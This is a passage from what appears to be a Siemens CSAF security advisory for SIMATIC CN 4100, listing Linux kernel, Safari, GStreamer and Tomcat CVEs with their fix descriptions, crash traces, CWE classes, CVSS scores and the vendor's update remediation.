ARCH_PAGE_TABLE_SYNC_MASK, PGTBL_P*D_MODIFIED and arch_sync_kernel_mappings() facility used by vmalloc and ioremap to synchronize page tables. pgd_populate_kernel() looks like this: static inline void pgd_populate_kernel(unsigned long addr, pgd_t *pgd, p4d_t *p4d) { pgd_populate(&init_mm, pgd, p4d); if (ARCH_PAGE_TABLE_SYNC_MASK & PGTBL_PGD_MODIFIED) arch_sync_kernel_mappings(addr, addr); } It is worth noting that vmalloc() and apply_to_range() carefully synchronizes page tables by calling p*d_alloc_track() and arch_sync_kernel_mappings(), and thus they are not affected by ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39845\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/mm/64: define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() Define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() to ensure page tables are properly synchronized when calling p*d_populate_kernel(). For 5-level paging, synchronization is performed via pgd_populate_kernel(). In 4-level paging, pgd_populate() is a no-op, so synchronization is instead performed at the P4D level via p4d_populate_kernel(). This fixes intermittent boot failures on systems using 4-level paging and a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It also fixes a crash in vmemmap_set_pmd() caused by accessing vmemmap before sync_global_pgds() [1]: BUG: unable to handle page fault for address: ffffeb3ff1200000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: Oops: 0002 [#1] PREEMPT SMP NOPTI Tainted: [W]=WARN RIP: 0010:vmemmap_set_pmd+0xff/0x230 vmemmap_populate_hugepages+0x176/0x180 vmemmap_populate+0x34/0x80 __populate_section_memmap+0x41/0x90 sparse_add_section+0x121/0x3e0 __add_pages+0xba/0x150 add_pages+0x1d/0x70 memremap_pages+0x3dc/0x810 devm_memremap_pages+0x1c/0x60 xe_devm_add+0x8b/0x100 [xe] xe_tile_init_noalloc+0x6a/0x70 [xe] xe_device_probe+0x48c/0x740 [xe] [... snip ...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39846\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pcmcia: Fix a NULL pointer dereference in __iodyn_find_io_region() In __iodyn_find_io_region(), pcmcia_make_resource() is assigned to res and used in pci_bus_alloc_resource(). There is a dereference of res in pci_bus_alloc_resource(), which could lead to a NULL pointer dereference on failure of pcmcia_make_resource(). Fix this bug by adding a check of res.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39847\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix memory leak in pad_compress_skb If alloc_skb() fails in pad_compress_skb(), it returns NULL without releasing the old skb. The caller does: skb = pad_compress_skb(ppp, skb); if (!skb) goto drop; drop: kfree_skb(skb); When pad_compress_skb() returns NULL, the reference to the old skb is lost and kfree_skb(skb) ends up doing nothing, leading to a memory leak. Align pad_compress_skb() semantics with realloc(): only free the old skb if allocation and compression succeed. At the call site, use the new_skb variable so the original skb is not lost when pad_compress_skb() fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39848\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ax25: properly unshare skbs in ax25_kiss_rcv() Bernard Pidoux reported a regression apparently caused by commit c353e8983e0d (\"net: introduce per netns packet chains\"). skb->dev becomes NULL and we crash in __netif_receive_skb_core(). Before above commit, different kind of bugs or corruptions could happen without a major crash. But the root cause is that ax25_kiss_rcv() can queue/mangle input skb without checking if this skb is shared or not. Many thanks to Bernard Pidoux for his help, diagnosis and tests. We had a similar issue years ago fixed with commit 7aaed57c5c28 (\"phonet: properly unshare skbs in phonet_rcv()\").\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39849\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: sme: cap SSID length in __cfg80211_connect_result() If the ssid->datalen is more than IEEE80211_MAX_SSID_LEN (32) it would lead to memory corruption so add some bounds checking.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39853\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: i40e: Fix potential invalid access when MAC list is empty list_first_entry() never returns NULL - if the list is empty, it still returns a pointer to an invalid object, leading to potential invalid memory access when dereferenced. Fix this by using list_first_entry_or_null instead of list_first_entry.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39857\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/smc: fix one NULL pointer dereference in smc_ib_is_sg_need_sync() BUG: kernel NULL pointer dereference, address: 00000000000002ec PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP PTI CPU: 28 UID: 0 PID: 343 Comm: kworker/28:1 Kdump: loaded Tainted: G OE 6.17.0-rc2+ #9 NONE Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014 Workqueue: smc_hs_wq smc_listen_work [smc] RIP: 0010:smc_ib_is_sg_need_sync+0x9e/0xd0 [smc] ... Call Trace: smcr_buf_map_link+0x211/0x2a0 [smc] __smc_buf_create+0x522/0x970 [smc] smc_buf_create+0x3a/0x110 [smc] smc_find_rdma_v2_device_serv+0x18f/0x240 [smc] ? smc_vlan_by_tcpsk+0x7e/0xe0 [smc] smc_listen_find_device+0x1dd/0x2b0 [smc] smc_listen_work+0x30f/0x580 [smc] process_one_work+0x18c/0x340 worker_thread+0x242/0x360 kthread+0xe7/0x220 ret_from_fork+0x13a/0x160 ret_from_fork_asm+0x1a/0x30 If the software RoCE device is used, ibdev->dma_device is a null pointer. As a result, the problem occurs. Null pointer detection is added to prevent problems.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39860\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: Bluetooth: Fix use-after-free in l2cap_sock_cleanup_listen() syzbot reported the splat below without a repro. In the splat, a single thread calling bt_accept_dequeue() freed sk and touched it after that. The root cause would be the racy l2cap_sock_cleanup_listen() call added by the cited commit. bt_accept_dequeue() is called under lock_sock() except for l2cap_sock_release(). Two threads could see the same socket during the list iteration in bt_accept_dequeue(): CPU1 CPU2 (close()) ---- ---- sock_hold(sk) sock_hold(sk); lock_sock(sk) <-- block close() sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- refcnt by bt_accept_enqueue() release_sock(sk) lock_sock(sk) sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- last refcnt bt_accept_unlink(sk) <-- UAF Depending on the timing, the other thread could show up in the \"Freed by task\" part. Let's call l2cap_sock_cleanup_listen() under lock_sock() in l2cap_sock_release(). [0]: BUG: KASAN: slab-use-after-free in debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] BUG: KASAN: slab-use-after-free in do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 Read of size 4 at addr ffff88803b7eb1c4 by task syz.5.3276/16995 CPU: 3 UID: 0 PID: 16995 Comm: syz.5.3276 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xcd/0x630 mm/kasan/report.c:482 kasan_report+0xe0/0x110 mm/kasan/report.c:595 debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 spin_lock_bh include/linux/spinlock.h:356 [inline] release_sock+0x21/0x220 net/core/sock.c:3746 bt_accept_dequeue+0x505/0x600 net/bluetooth/af_bluetooth.c:312 l2cap_sock_cleanup_listen+0x5c/0x2a0 net/bluetooth/l2cap_sock.c:1451 l2cap_sock_release+0x5c/0x210 net/bluetooth/l2cap_sock.c:1425 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x3ff/0xb70 fs/file_table.c:468 task_work_run+0x14d/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xeb/0x110 kernel/entry/common.c:43 exit_to_user_mode_prepare include/linux/irq-entry-common.h:225 [inline] syscall_exit_to_user_mode_work include/linux/entry-common.h:175 [inline] syscall_exit_to_user_mode include/linux/entry-common.h:210 [inline] do_syscall_64+0x3f6/0x4c0 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f2accf8ebe9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffdb6cb1378 EFLAGS: 00000246 ORIG_RAX: 00000000000001b4 RAX: 0000000000000000 RBX: 00000000000426fb RCX: 00007f2accf8ebe9 RDX: 0000000000000000 RSI: 000000000000001e RDI: 0000000000000003 RBP: 00007f2acd1b7da0 R08: 0000000000000001 R09: 00000012b6cb166f R10: 0000001b30e20000 R11: 0000000000000246 R12: 00007f2acd1b609c R13: 00007f2acd1b6090 R14: ffffffffffffffff R15: 00007ffdb6cb1490 Allocated by task 5326: kasan_save_stack+0x33/0x60 mm/kasan/common.c:47 kasan_save_track+0x14/0x30 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:388 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:405 kasan_kmalloc include/linux/kasan.h:260 [inline] __do_kmalloc_node mm/slub.c:4365 [inline] __kmalloc_nopro ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39864\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: fix use-after-free in cmp_bss() Following bss_free() quirk introduced in commit 776b3580178f (\"cfg80211: track hidden SSID networks properly\"), adjust cfg80211_update_known_bss() to free the last beacon frame elements only if they're not shared via the corresponding 'hidden_beacon_bss' pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39865\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tee: fix NULL pointer dereference in tee_shm_put tee_shm_put have NULL pointer dereference: __optee_disable_shm_cache --> shm = reg_pair_to_ptr(...);//shm maybe return NULL tee_shm_free(shm); --> tee_shm_put(shm);//crash Add check in tee_shm_put to fix it. panic log: Unable to handle kernel paging request at virtual address 0000000000100cca Mem abort info: ESR = 0x0000000096000004 EC = 0x25: DABT (current EL), IL = 32 bits SET = 0, FnV = 0 EA = 0, S1PTW = 0 FSC = 0x04: level 0 translation fault Data abort info: ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 CM = 0, WnR = 0, TnD = 0, TagAccess = 0 GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 user pgtable: 4k pages, 48-bit VAs, pgdp=0000002049d07000 [0000000000100cca] pgd=0000000000000000, p4d=0000000000000000 Internal error: Oops: 0000000096000004 [#1] SMP CPU: 2 PID: 14442 Comm: systemd-sleep Tainted: P OE ------- ---- 6.6.0-39-generic #38 Source Version: 938b255f6cb8817c95b0dd5c8c2944acfce94b07 Hardware name: greatwall GW-001Y1A-FTH, BIOS Great Wall BIOS V3.0 10/26/2022 pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : tee_shm_put+0x24/0x188 lr : tee_shm_free+0x14/0x28 sp : ffff001f98f9faf0 x29: ffff001f98f9faf0 x28: ffff0020df543cc0 x27: 0000000000000000 x26: ffff001f811344a0 x25: ffff8000818dac00 x24: ffff800082d8d048 x23: ffff001f850fcd18 x22: 0000000000000001 x21: ffff001f98f9fb88 x20: ffff001f83e76218 x19: ffff001f83e761e0 x18: 000000000000ffff x17: 303a30303a303030 x16: 0000000000000000 x15: 0000000000000003 x14: 0000000000000001 x13: 0000000000000000 x12: 0101010101010101 x11: 0000000000000001 x10: 0000000000000001 x9 : ffff800080e08d0c x8 : ffff001f98f9fb88 x7 : 0000000000000000 x6 : 0000000000000000 x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 x2 : ffff001f83e761e0 x1 : 00000000ffff001f x0 : 0000000000100cca Call trace: tee_shm_put+0x24/0x188 tee_shm_free+0x14/0x28 __optee_disable_shm_cache+0xa8/0x108 optee_shutdown+0x28/0x38 platform_shutdown+0x28/0x40 device_shutdown+0x144/0x2b0 kernel_power_off+0x3c/0x80 hibernate+0x35c/0x388 state_store+0x64/0x80 kobj_attr_store+0x14/0x28 sysfs_kf_write+0x48/0x60 kernfs_fop_write_iter+0x128/0x1c0 vfs_write+0x270/0x370 ksys_write+0x6c/0x100 __arm64_sys_write+0x20/0x30 invoke_syscall+0x4c/0x120 el0_svc_common.constprop.0+0x44/0xf0 do_el0_svc+0x24/0x38 el0_svc+0x24/0x88 el0t_64_sync_handler+0x134/0x150 el0t_64_sync+0x14c/0x15\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39866\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: writeback: fix use-after-free in __mark_inode_dirty() An use-after-free issue occurred when __mark_inode_dirty() get the bdi_writeback that was in the progress of switching. CPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1 ...... pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __mark_inode_dirty+0x124/0x418 lr : __mark_inode_dirty+0x118/0x418 sp : ffffffc08c9dbbc0 ........ Call trace: __mark_inode_dirty+0x124/0x418 generic_update_time+0x4c/0x60 file_modified+0xcc/0xd0 ext4_buffered_write_iter+0x58/0x124 ext4_file_write_iter+0x54/0x704 vfs_write+0x1c0/0x308 ksys_write+0x74/0x10c __arm64_sys_write+0x1c/0x28 invoke_syscall+0x48/0x114 el0_svc_common.constprop.0+0xc0/0xe0 do_el0_svc+0x1c/0x28 el0_svc+0x40/0xe4 el0t_64_sync_handler+0x120/0x12c el0t_64_sync+0x194/0x198 Root cause is: systemd-random-seed kworker ---------------------------------------------------------------------- ___mark_inode_dirty inode_switch_wbs_work_fn spin_lock(&inode->i_lock); inode_attach_wb locked_inode_to_wb_and_lock_list get inode->i_wb spin_unlock(&inode->i_lock); spin_lock(&wb->list_lock) spin_lock(&inode->i_lock) inode_io_list_move_locked spin_unlock(&wb->list_lock) spin_unlock(&inode->i_lock) spin_lock(&old_wb->list_lock) inode_do_switch_wbs spin_lock(&inode->i_lock) inode->i_wb = new_wb spin_unlock(&inode->i_lock) spin_unlock(&old_wb->list_lock) wb_put_many(old_wb, nr_switched) cgwb_release old wb released wb_wakeup_delayed() accesses wb, then trigger the use-after-free issue Fix this race condition by holding inode spinlock until wb_wakeup_delayed() finished.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-40300\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/vmscape: Add conditional IBPB mitigation VMSCAPE is a vulnerability that exploits insufficient branch predictor isolation between a guest and a userspace hypervisor (like QEMU). Existing mitigations already protect kernel/KVM from a malicious guest. Userspace can additionally be protected by flushing the branch predictors after a VMexit. Since it is the userspace that consumes the poisoned branch predictors, conditionally issue an IBPB after a VMexit and before returning to userspace. Workloads that frequently switch between hypervisor and userspace will incur the most overhead from the new IBPB. This new IBPB is not integrated with the existing IBPB sites. For instance, a task can use the existing speculation control prctl() to get an IBPB at context switch time. With this implementation, the IBPB is doubled up: one at context switch and another before running userspace. The intent is to integrate and optimize these cases post-embargo. [ dhansen: elaborate on suboptimal IBPB solution ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-43368\n<div class=\"csaf-accordion-content\">\n\nA use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26, iOS 26 and iPadOS 26, macOS Tahoe 26. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-47219\n<div class=\"csaf-accordion-content\">\n\nIn GStreamer through 1.26.1, the isomp4 plugin's qtdemux_parse_trak function may read past the end of a heap buffer while parsing an MP4 file, possibly leading to information disclosure.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n8.1\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-48989\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat made Tomcat vulnerable to the made you reset attack. This issue affects Apache 